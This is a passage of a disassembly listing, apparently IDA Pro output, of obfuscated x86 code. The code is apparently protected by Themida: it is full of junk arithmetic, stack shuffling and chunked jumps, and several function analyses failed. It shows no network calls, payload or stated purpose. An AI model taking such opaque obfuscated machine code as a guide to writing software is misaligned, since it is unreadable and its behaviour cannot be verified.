var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598CD7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AEC8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059C773 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D41E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059DBDB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059EEC5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A058B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A0A24 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1705 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2ADF SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A3AB6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A42F2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A46BF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A5820 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AAD3D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AB23E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB4AC SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AE64A SIZE 0000002B BYTES

		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 5E7D3D14h
		push	0
		sub	[esp+4+var_4], edi
		pop	edi
		shl	edi, 3
		jnz	loc_5A5820
		sub	edi, 413C6271h
		jbe	loc_59EEC5
		sub	al, 14h
sub_59AE49	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59AE74:				; CODE XREF: sub_59D99C-38F8j
		mov	edx, ebp
		mov	edi, edx
		pop	edx
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		push	ecx
		mov	ecx, 2ACB40E7h
		or	edi, ecx
		pop	ecx
		sub	edi, 70C671CFh
		shl	edi, 6
		sub	edi, 3D607B46h
		jnb	loc_5A00A0
		not	edi
		sub	edi, 18AA528Fh
		jl	loc_5A0C87
		pop	edi


loc_59AEAC:				; CODE XREF: sub_5A980C-FEBj
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebx
		push	ecx
		mov	ecx, 0AF22C13h
		neg	ecx
		push	esi
		jmp	loc_59BCCE
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_59AEC0:				; CODE XREF: sub_5ABA9B-1EF3j
		push	esp
		pop	edi
		push	ecx
		jmp	loc_5A925E
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_59AEC8:				; CODE XREF: sub_59AE49+7CB8j
		or	eax, eax
		jz	loc_5A0A1A
		push	ebx
		push	ecx
		push	4487h
		jmp	loc_59D41E
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59AEDC:				; CODE XREF: sub_5A141E+7C0Dj
		mov	ebx, 5F7152FEh
		not	ebx
		sub	esp, 4
		jmp	loc_5A1EC8
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A20F9


loc_59AEEE:				; CODE XREF: sub_5A20F9+7061j
		mov	edx, 4
		add	edi, 6371059Ah
		sub	edi, edx
		sub	edi, 6371059Ah
		pop	edx
		xor	edi, [esp-8+arg_4]
		xor	[esp-8+arg_4], edi
		xor	edi, [esp-8+arg_4]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 724F5E68h
		jmp	loc_598E8C
; END OF FUNCTION CHUNK	FOR sub_5A20F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59AF19:				; CODE XREF: sub_59C53B+850Bj
		push	edx
		mov	edx, 1
		jmp	loc_5A762A
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_59AF24:				; CODE XREF: Themida_:005A7FFEj
		xor	eax, 78E36A1Eh
		add	eax, 1
		push	ebx
		mov	ebx, 6D856AFFh
		xor	eax, ebx
		pop	ebx
		and	edx, eax
		mov	eax, [esp]
		jmp	loc_5A115A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59AF3F:				; CODE XREF: sub_598D16+A532j
		add	edi, 4E57B2D0h
		push	edi
		add	[esp+18h+var_18], 29E47EA9h
		jmp	loc_5A8B07
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E35B


loc_59AF52:				; CODE XREF: sub_59E35B+37j
		sub	edx, 3B017A7Fh
		mov	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0], edi
		pop	edx
		jmp	loc_59D78A
; END OF FUNCTION CHUNK	FOR sub_59E35B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59AF67:				; CODE XREF: sub_5A8C33-E10Aj
		pop	ecx
		jmp	loc_5A4140
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_59AF6D:				; CODE XREF: sub_5A71A8+61C0j
		pop	ebp
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------


loc_59AF7D:				; CODE XREF: Themida_:005A999Dj
		mov	edi, 4
		sub	eax, edi
		jmp	loc_5A4985
; ---------------------------------------------------------------------------


loc_59AF89:				; DATA XREF: Themida_:00597880o
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 2
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], di
		push	small word ptr [esp+2]
		jmp	loc_5A2B61

; =============== S U B	R O U T	I N E =======================================



sub_59AFAC	proc near		; CODE XREF: sub_5A30BD+3625j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059CF2D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1EB9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AD06E SIZE 0000000E BYTES

		push	ebx
		mov	ebx, 427D2CA7h
		add	ebp, ebx
		pop	ebx
		jmp	loc_59CF2D
sub_59AFAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_59AFBA:				; CODE XREF: sub_59D24A+CDFEj
		mov	al, bl
		pop	ebx
		shr	al, 3
		shr	al, 3
		add	al, 48h
		mov	ch, al
		pop	eax
		inc	ch
		sub	ch, 38h
		sub	ch, 0BBh
		add	ch, 48h
		sub	ah, ch
		mov	ecx, [esp-6+arg_2]
		add	esp, 4
		sub	bl, 6Fh
		jmp	loc_5A9569
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59AFE3:				; CODE XREF: sub_5AB3DC-7FB0j
		jmp	loc_5986F7
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59AFE8:				; CODE XREF: sub_59D99C+85ECj
		push	25387A9Eh
		pop	edx
		shl	edx, 7
		neg	edx
		shr	edx, 5
		sub	edx, 37C17CD6h
		xor	edx, 20FD2686h
		sub	edx, 0EBA1BE30h
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ebp
		push	4
		pop	ebp
		add	ebx, ebp
		pop	ebp
		jmp	loc_5A2463
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 592434FFh, 0FFF2BDE9h,	2C281FFh, 33000000h
		dd 85E92414h, 890000C1h, 4C181E1h, 83000000h, 0C8704C1h
		dd 5714E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B056:				; CODE XREF: Themida_:005ACB6Dj
		add	edx, eax
		pop	eax
		sub	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEFD6


loc_59B08C:				; CODE XREF: sub_5AEFD6-A2CBj
		or	eax, ebp
		pop	ebp
		push	0
		sub	[esp-0Ch+arg_8], eax
		pop	eax
		or	eax, 67727A43h
		not	eax
		xor	eax, 988D85ADh
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		push	[esp-0Ch+arg_8]
		pop	edx
		add	esp, 4
		jmp	loc_5ABDD8
; END OF FUNCTION CHUNK	FOR sub_5AEFD6
; ---------------------------------------------------------------------------


loc_59B0B9:				; CODE XREF: Themida_:005A6B5Dj
		xor	ecx, 1BAD3833h
		jmp	loc_59AD50

; =============== S U B	R O U T	I N E =======================================



sub_59B0C4	proc near		; DATA XREF: Themida_:00597AA8o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598320 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00599FF6 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059C375 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E73C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2649 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2C34 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A87A2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ACBBE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AD3CA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AD68D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AEC61 SIZE 00000013 BYTES

		push	dword ptr [esp+0]
		jmp	loc_5A2C34
sub_59B0C4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59B0CC:				; CODE XREF: Themida_:0059ABC8j
					; sub_5ACD64-7EA0j
		neg	al
		xor	al, 4Ch
		inc	al
		jmp	loc_5ADFC7
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59B0D7:				; CODE XREF: sub_5A3F42-BFEFj
		shr	ecx, 6
		jmp	loc_5A7E0A
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_59B0DF:				; CODE XREF: Themida_:005AE457j
		push	dword ptr [esp]
		jmp	loc_59A6EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59B0E7:				; CODE XREF: sub_5AB88E+1j
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		pop	esp
		push	1CA8h
		jmp	loc_5A789F
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59B0FA:				; CODE XREF: sub_5AE6FD-F3F3j
					; sub_59B707+1175Cj
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 3D213DFh
		sub	[esp+10h+var_C], ecx
		pop	ecx
		push	[esp+0Ch+var_C]
		pop	ecx
		jmp	sub_5AD8C7
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59B111:				; CODE XREF: Themida_:005A2ADAj
		mov	[esp], edx
		push	edi
		mov	edi, 330C26B7h
		mov	edx, 2502018Eh
		xor	edx, edi
		pop	edi
		jmp	loc_59E9B6
; ---------------------------------------------------------------------------


loc_59B127:				; CODE XREF: Themida_:005AA4FBj
		mov	edx, 9816554Eh
		mov	edi, edx
		pop	edx
		sub	edi, eax
		pop	eax
		jmp	loc_59FDCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_59B137:				; CODE XREF: sub_5A4F3D-3418j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_59DD40
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------


loc_59B15B:				; CODE XREF: Themida_:005A89DEj
		mov	edi, esp
		push	ecx
		mov	ecx, 62293AF1h
		shl	ecx, 2
		push	eax
		mov	eax, 3135421Bh
		neg	eax
		jmp	loc_5AE9B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_59B173:				; CODE XREF: sub_5A879C+2F0Fj
		add	[esp+arg_0], edi
		mov	edi, [esp+0]
		add	esp, 4
		pop	edx
		push	eax
		mov	eax, 7A5637B2h
		not	eax
		jmp	loc_59F4F1
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5B0


loc_59B18B:				; CODE XREF: sub_59F5B0+6C7Ej
		not	edi
		jmp	loc_5A4A4B
; END OF FUNCTION CHUNK	FOR sub_59F5B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59B192:				; CODE XREF: sub_59B707+13046j
		add	ecx, 3322F8h
		add	ecx, ebp
		sub	ecx, 3322F8h
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		shr	eax, 8
		jmp	loc_5A3FD9
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_59B1BC:				; CODE XREF: sub_5A0F44+48C9j
		xchg	ebx, [esp+4+var_4]
		pop	esp
		add	ecx, 287C3955h
		add	ecx, eax
		sub	ecx, 287C3955h
		sub	ecx, 28783D5Ah
		pop	eax
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 0E202F6Dh
		jmp	loc_5AF178
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59B1E3:				; CODE XREF: sub_5ACD64-9BBAj
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5A7250
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_59B1EE:				; CODE XREF: sub_5A6DA1-40B4j
		pop	eax
		push	esi
		mov	esi, 1923226Eh
		jmp	loc_5A5172
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59B1FA:				; CODE XREF: sub_599059+5E3Aj
		pop	[esp-6+arg_0+2]
		pop	esp
		mov	edx, [esp-0Eh+arg_A]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A8C1D
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59B215:				; CODE XREF: sub_5ACD64-8B68j
		pop	eax
		jmp	loc_5A7232
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_59B21B:				; CODE XREF: sub_599526+ACCDj
		sub	bl, 0FBh
		sub	bl, ah
		add	bl, 0FBh
		pop	eax
		pop	edx
		movzx	eax, al
		mov	dx, word ptr [esp+2+var_4+2]
		push	140Eh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	3A76h
		mov	[esp+0Ah+var_A], ebx
		mov	ebx, 83031EFh
		jmp	loc_598F89
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------


loc_59B248:				; CODE XREF: Themida_:005ACE54j
		pop	ebp
		add	ebx, edx
		jmp	loc_59F691
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02F5


loc_59B250:				; CODE XREF: sub_5A02F5+A569j
		xor	edx, 293EADE2h
		push	edx
		pop	ebp
		pop	edx
		add	edx, ebp
		mov	ebp, [esp-4+arg_0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		xor	edx, [esp-8+arg_4]
		jmp	loc_59F6FA
; END OF FUNCTION CHUNK	FOR sub_5A02F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59B288:				; CODE XREF: sub_5AC95F:loc_5A1C97j
		add	edi, 0D1BF14A7h
		jmp	loc_5A025C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_59B293:				; CODE XREF: sub_5A02EA+6j
		mov	[esp+4+var_4], ecx
		push	edi
		mov	edi, 2C931495h
		jmp	loc_5A77E0
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59B2A1:				; CODE XREF: sub_59CA4A+C312j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_59DBC6
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_59B2B3:				; CODE XREF: sub_5A91CF-D783j
		push	783Fh
		jmp	loc_5AD608
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B2BD:				; CODE XREF: sub_59D99C+3232j
					; sub_59FDC7+6EF7j
		push	edi
		mov	edi, 22E92745h
		xor	edi, 1B8A226Eh
		or	edi, 734C3987h
		xor	edi, 21FA4502h
		xor	edi, 178234AFh
		xor	edi, 4D174C03h
		sub	edx, edi
		pop	edi
		push	ebp
		jmp	loc_5A5691
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_59B2EA:				; CODE XREF: sub_5AE919-2E8Bj
		mov	[esp-4+arg_0], edx
		mov	edx, 7C565147h
		push	edx
		not	dword ptr [esp+0]
		pop	edx
		jmp	loc_59A63B
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_59B2FC:				; CODE XREF: sub_598462+115D9j
		add	esp, 4
		pop	[esp-8+arg_4]
		pop	esp
		mov	word ptr [esp-10h+arg_C], cx
		push	ebx
		mov	bh, 79h
		mov	cl, 21h
		add	cl, bh
		pop	ebx
		push	ecx
		jmp	loc_5AB524
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA256


loc_59B315:				; CODE XREF: sub_5AA256-BD1Dj
		add	bl, al
		pop	eax
		jmp	loc_5AEAA9
; END OF FUNCTION CHUNK	FOR sub_5AA256
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59B31D:				; CODE XREF: sub_5A2178+9j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_59B322:				; CODE XREF: sub_5A1076+A4F2j
		xchg	eax, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], edx
		sub	esp, 4
		jmp	loc_5A1A9E
; END OF FUNCTION CHUNK	FOR sub_5A1076

; =============== S U B	R O U T	I N E =======================================



sub_59B333	proc near		; CODE XREF: sub_59CA4A+F1D8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F9A7 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A064C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A13DC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A81A1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AC2A8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AD07C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AD42F SIZE 00000027 BYTES

		sub	esp, 4
		jmp	loc_59F9A7
sub_59B333	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59B33B:				; CODE XREF: sub_597C68+1F1Fj
		add	esp, 4
		mov	[ecx], al
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59B34E:				; CODE XREF: sub_5AE6FD-C96Aj
		jnz	loc_5A6ED6
		add	ecx, 0FFA52BE6h
		push	ecx
		jo	loc_5A4A6D


loc_59B361:				; CODE XREF: sub_597F0C+A0CFj
		dec	edi
		shr	edi, 1
		add	edi, 1
		xor	edi, 24C6426Ah
		and	ebp, edi
		pop	edi
		not	ebp
		inc	ebp
		inc	ebp
		shr	ebp, 1
		shr	ebp, 3
		jmp	loc_5AE5DA
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59B381:				; CODE XREF: sub_5A1B2A-284Cj
					; sub_5A1A4C+Dj
		shl	edi, 3
		push	ebx
		jmp	sub_5A594B
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59B38A:				; CODE XREF: sub_5A8D43-10C16j
					; sub_59C53B+120E1j
		jmp	loc_5A53D0
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59B38F:				; CODE XREF: sub_5AB98B+9j
		pop	dx
		xor	bl, 44h
		add	dl, bl
		pop	ebx
		shl	dl, 7
		jmp	loc_5A425F
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_59B39F:				; CODE XREF: sub_5A4F3D+33C0j
		pop	esi
		push	[esp-8+arg_4]
		pop	esi
		add	esp, 4
		push	33D5h
		mov	[esp-8+arg_4], edx
		mov	edx, esp
		push	edi
		mov	edi, 676F6A93h
		xor	edi, 44660DECh
		jmp	loc_5A6448
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59B3C5:				; CODE XREF: sub_5A141E+12j
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_59BC3B
; END OF FUNCTION CHUNK	FOR sub_5A141E

; =============== S U B	R O U T	I N E =======================================



sub_59B3CE	proc near		; CODE XREF: sub_5A879C-13A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059E54F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0B4A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A2438 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A9688 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A9B45 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005AB871 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABCC0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AC8AF SIZE 00000008 BYTES

		push	ebp
		push	esp
		push	[esp+8+var_8]
		pop	ebp
		push	ebx
		push	esp
		jmp	loc_5A9688
sub_59B3CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59B3DB:				; CODE XREF: sub_59FFBE-A3Fj
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, edi
		mov	esi, ebx
		pop	ebx
		pop	edi
		push	edi
		mov	edi, 574B44AEh
		sub	edi, 6A0A1269h
		shr	edi, 1
		jmp	loc_599178
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_59B3F7:				; CODE XREF: sub_5AD8C7-AF02j
		mov	ecx, 10415AE8h
		jmp	loc_5A7A8D
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59B401:				; CODE XREF: sub_599059+A738j
		mov	esi, 74553A79h
		and	ebp, esi
		pop	esi
		jmp	loc_598331
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_59B40E:				; CODE XREF: sub_5A799C-F5B0j
		add	al, 0A8h
		mov	bl, al
		pop	eax
		sub	ah, bl
		pop	bx
		xor	ah, 1Ch
		neg	ah
		jge	loc_59D8FD
		not	ah
		push	ecx
		mov	ch, 98h
		add	ah, ch
		pop	ecx
		mov	cl, ah
		mov	eax, [esp-6+arg_2]
		mov	ch, ah
; END OF FUNCTION CHUNK	FOR sub_5A799C
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_59B431:				; CODE XREF: sub_5AA46D+Dj
		pop	eax
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	ebp
		mov	ebp, 687819FCh
		xor	ebp, 22A52CC6h
		shr	ebp, 7
		jmp	loc_59E4FD
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59B44C:				; CODE XREF: sub_5A7343+2E7Dj
		mov	ecx, 5B3315D7h
		add	eax, ecx
		jmp	loc_5AB3C2
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_59B458:				; CODE XREF: Themida_:0059FE95j
		add	esp, 4
		jmp	loc_59F832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B460:				; CODE XREF: sub_59D99C+1D79j
		xor	eax, 0FF64F22Fh
		xor	edi, eax
		pop	eax
		add	edi, 30E1ABD0h
		jmp	loc_597F47
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59B473:				; CODE XREF: sub_5A91EC-8E71j
					; Themida_:005AA1FDj
		sub	[esp-1Ch+arg_18], 28E560D6h
		pop	ecx
		add	ecx, 28E560D6h
		mov	ebx, [esp-20h+arg_1C]
		jmp	loc_5A0666
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_59B489:				; CODE XREF: Themida_:005ACDEBj
		pop	ecx
		jmp	loc_5A6E05

; =============== S U B	R O U T	I N E =======================================



sub_59B48F	proc near		; CODE XREF: sub_5A7343-60FAj
					; sub_5ADE3B+1Fj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A547 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059BA51 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059C19E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D7DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DDE7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F69A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A110E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A207E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A37C2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A51A3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A63D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7891 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7E28 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE381 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AF074 SIZE 00000017 BYTES

		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 1BC91CC7h
		jmp	loc_5AE381
sub_59B48F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59B49F:				; CODE XREF: sub_5A3F42-7815j
		add	esi, 1122B83Fh
		sub	ebx, esi
		pop	esi
		push	dword ptr [eax]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_59B4AF:				; CODE XREF: Themida_:0059D52Fj
		mov	[esp], esp
		jmp	loc_59DFEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59B4B7:				; CODE XREF: sub_5ABE52-AAD9j
		jmp	loc_597B5F
